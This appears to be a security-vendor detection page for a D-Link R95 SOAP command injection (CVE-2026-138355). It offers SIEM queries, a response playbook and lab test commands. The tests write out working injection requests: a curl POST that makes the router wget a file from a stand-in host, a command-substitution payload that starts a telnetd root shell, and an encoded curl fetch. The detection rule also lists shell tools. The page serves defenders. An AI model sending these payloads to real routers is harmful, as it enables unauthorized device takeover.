Skip to content
CVE-2026-138355

D-Link R95 DHMAPI SOAP SetTriggerPPPoEValidate OS Command Injection (CVE-2026-138355)

Initial Access Execution Last updated:

Detects exploitation attempts against CVE-2026-138355, a critical (CVSS 9.3) OS command injection vulnerability in the SetTriggerPPPoEValidate function of /bin/ssi in the DHMAPI SOAP handler of D-Link R95 routers (firmware 1.04B04Beta). Unsanitized SOAP parameters passed to SetTriggerPPPoEValidate are concatenated into a shell command (CWE-77/CWE-78), allowing unauthenticated remote attackers to execute arbitrary OS commands on the device. A public exploit has been disclosed. Because this is an embedded device vulnerability, network-layer detection focuses on anomalous SOAP/HTTP requests to the DHMAPI endpoint containing shell metacharacters, and on downstream indicators of post-exploitation command execution captured by proxy, firewall, or device syslog telemetry.

Vulnerability Intelligence

Theoretical

What is CVE-2026-138355 D-Link R95 DHMAPI SOAP SetTriggerPPPoEValidate OS Command Injection (CVE-2026-138355)?

D-Link R95 DHMAPI SOAP SetTriggerPPPoEValidate OS Command Injection (CVE-2026-138355) (CVE-2026-138355) maps to the Initial Access and Execution tactics — the adversary is trying to get into your network in MITRE ATT&CK.

This page provides production-ready detection logic for D-Link R95 DHMAPI SOAP SetTriggerPPPoEValidate OS Command Injection (CVE-2026-138355), covering the data sources and telemetry it touches: Network proxy logs, Firewall logs, Web gateway. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Initial Access Execution
Microsoft Sentinel / Defender
kusto
// df00tech DF00-8422ce3717 · https://df00tech.com/detections/CVE-2026-138355 · licence: https://df00tech.com/detections/licence
let soapPaths = dynamic(["/HNAP1", "/dhmapi", "/soap", "SetTriggerPPPoEValidate"]);
let cmdMeta = dynamic([";","|","&&","`","$(","%3B","%7C","%60","wget ","curl ","telnetd","/bin/sh","nc "]);
CommonSecurityLog
| where DeviceVendor in ("Palo Alto Networks","Fortinet","Zscaler") or DeviceProduct has_any ("Proxy","Firewall")
| where RequestURL has_any (soapPaths) or RequestMethod == "POST"
| where AdditionalExtensions has "SetTriggerPPPoEValidate" or RequestURL has "SetTriggerPPPoEValidate" or RequestContext has_any (cmdMeta)
| where RequestURL has_any (cmdMeta) or AdditionalExtensions has_any (cmdMeta)
| extend Attacker = SourceIP, Target = DestinationIP
| project TimeGenerated, Attacker, Target, RequestMethod, RequestURL, AdditionalExtensions, DeviceProduct
| sort by TimeGenerated desc

Identifies HTTP/SOAP POST requests to D-Link DHMAPI endpoints referencing SetTriggerPPPoEValidate and containing shell command metacharacters, indicative of CVE-2026-138355 command injection.

critical severity medium confidence

Data Sources

Network proxy logs Firewall logs Web gateway

Required Tables

CommonSecurityLog

False Positives

  • Legitimate router administration via the DHMAPI/SOAP interface from management hosts
  • Vulnerability scanners and authorized penetration tests probing the endpoint
  • Security appliances replaying or sanitizing SOAP payloads that embed metacharacters harmlessly

Query fingerprint DF00-8422ce3717 · licence

Sigma logsource & community rules

The detection logic for D-Link R95 DHMAPI SOAP SetTriggerPPPoEValidate OS Command Injection (CVE-2026-138355) (CVE-2026-138355) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  category: network_connection
  product: windows

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 Simulated DHMAPI command injection via SetTriggerPPPoEValidate (lab)

    Expected signal: Proxy/firewall log of a POST to /dhmapi referencing SetTriggerPPPoEValidate containing ';' and 'wget'.

  2. Test 2 Command injection with command substitution syntax (lab)

    Expected signal: Network log of a POST containing SetTriggerPPPoEValidate with '$(' and 'telnetd'.

  3. Test 3 URL-encoded metacharacter injection attempt (lab)

    Expected signal: Proxy log of a request containing 'SetTriggerPPPoEValidate' plus '%3B' and 'curl'.


Response Playbook

Triage

  1. Confirm the destination IP is a D-Link R95 router running firmware 1.04B04Beta (or any DHMAPI-capable D-Link model) and that the request reached the /bin/ssi SOAP handler.
  2. Decode the captured SOAP payload and inspect the SetTriggerPPPoEValidate parameter(s) for shell metacharacters (; | & ` $()) and injected commands (wget/curl/telnetd/nc).
  3. Determine whether the source IP is internal management infrastructure, an authorized scanner, or an unrecognized/external host, and correlate with any prior requests from the same source.

Containment

  1. Block the offending source IP at the perimeter firewall and restrict access to the router's management/SOAP interface to trusted management subnets only.
  2. Isolate the affected router from the network and disable remote WAN-side management until firmware is patched or the device is replaced.

Evidence Collection

  1. Capture full proxy/firewall request logs including the raw SOAP body, source IP, timestamps and user-agent for the suspicious requests.
  2. Pull the router's syslog, configuration, and any available process/command history to identify spawned processes, added accounts, or persistence resulting from command execution.

Escalation Criteria

  • ! Escalate to incident response if the payload contains a successfully fetched/executed second-stage binary (wget/curl/tftp to an external host) or evidence of a reverse shell (telnetd/nc).
  • ! Escalate if post-exploitation indicators are observed, unexpected outbound connections from the router, config changes, new admin accounts, or DNS/traffic redirection.

Investigation Guide

Forensic Artifacts

  • > Router syslog entries showing /bin/ssi invoking shell commands around the request time
  • > Proxy/firewall records of the malicious SOAP POST to the DHMAPI endpoint
  • > Unexpected outbound connections (HTTP/TFTP/raw sockets) initiated by the router to fetch second-stage payloads

Tuning Guidance

Enrich the destination inventory with D-Link R95/DHMAPI device IPs to scope detection and drop noise from unaffected hosts. Allowlist authorized management subnets and known vulnerability scanners. If proxy decryption is unavailable for the router's management plane, lean on device syslog forwarding to catch /bin/ssi command execution. Tighten metacharacter matching to request bodies (not full URLs) to reduce false positives from encoded-but-benign fields.


Hunting Queries

Baseline and hunt for any traffic referencing the DHMAPI SetTriggerPPPoEValidate function, then review for metacharacters and unusual sources.

Hunting — KQL
kql
// df00tech DF00-8422ce3717 · https://df00tech.com/detections/CVE-2026-138355 · licence: https://df00tech.com/detections/licence
CommonSecurityLog | where RequestURL has "SetTriggerPPPoEValidate" or AdditionalExtensions has "SetTriggerPPPoEValidate" | summarize count(), make_set(RequestURL) by SourceIP, DestinationIP, bin(TimeGenerated, 1h)
Hunting — SPL
spl
``` df00tech DF00-8422ce3717 · https://df00tech.com/detections/CVE-2026-138355 · licence: https://df00tech.com/detections/licence ```
index=proxy OR index=firewall ("*SetTriggerPPPoEValidate*" OR "*dhmapi*") | stats count values(uri_path) by src_ip dest_ip

Atomic Red Team Tests

Test 1 Simulated DHMAPI command injection via SetTriggerPPPoEValidate (lab)
linux

Sends a crafted SOAP POST to a lab D-Link R95 (or emulated /bin/ssi handler) with a shell metacharacter in the SetTriggerPPPoEValidate parameter to generate detectable telemetry.

Command

bash
curl -s -X POST 'http://192.0.2.10/dhmapi/' -H 'SOAPAction: SetTriggerPPPoEValidate' -H 'Content-Type: text/xml' --data '<SOAP:Body><SetTriggerPPPoEValidate><Value>;wget http://192.0.2.50/x -O /tmp/x;</Value></SetTriggerPPPoEValidate></SOAP:Body>'

Cleanup

bash
ssh [email protected] 'rm -f /tmp/x' 2>/dev/null || true

Expected Telemetry

Proxy/firewall log of a POST to /dhmapi referencing SetTriggerPPPoEValidate containing ';' and 'wget'.

Expected Detection

KQL/SPL/EQL rules fire on the SetTriggerPPPoEValidate string combined with shell metacharacters.

Test 2 Command injection with command substitution syntax (lab)
linux

Uses backtick/$() command substitution in the SOAP parameter to test metacharacter detection coverage.

Command

bash
curl -s -X POST 'http://192.0.2.10/dhmapi/' -H 'SOAPAction: SetTriggerPPPoEValidate' --data '<SetTriggerPPPoEValidate><Value>$(telnetd -l /bin/sh -p 4444)</Value></SetTriggerPPPoEValidate>'

Cleanup

bash
ssh [email protected] 'killall telnetd' 2>/dev/null || true

Expected Telemetry

Network log of a POST containing SetTriggerPPPoEValidate with '$(' and 'telnetd'.

Expected Detection

Detection rules match on the command-substitution/telnetd indicators.

Test 3 URL-encoded metacharacter injection attempt (lab)
linux

Sends URL-encoded shell metacharacters to validate detection of encoded injection payloads.

Command

bash
curl -s -X POST 'http://192.0.2.10/dhmapi/?SetTriggerPPPoEValidate=1%3Bcurl%20http%3A%2F%2F192.0.2.50%2Fy%3B'

Cleanup

bash
true

Expected Telemetry

Proxy log of a request containing 'SetTriggerPPPoEValidate' plus '%3B' and 'curl'.

Expected Detection

Rules match on encoded metacharacters (%3B/%7C) alongside the vulnerable function name.

Related Detections

Browse by tactic

Full ATT&CK matrix Search all detections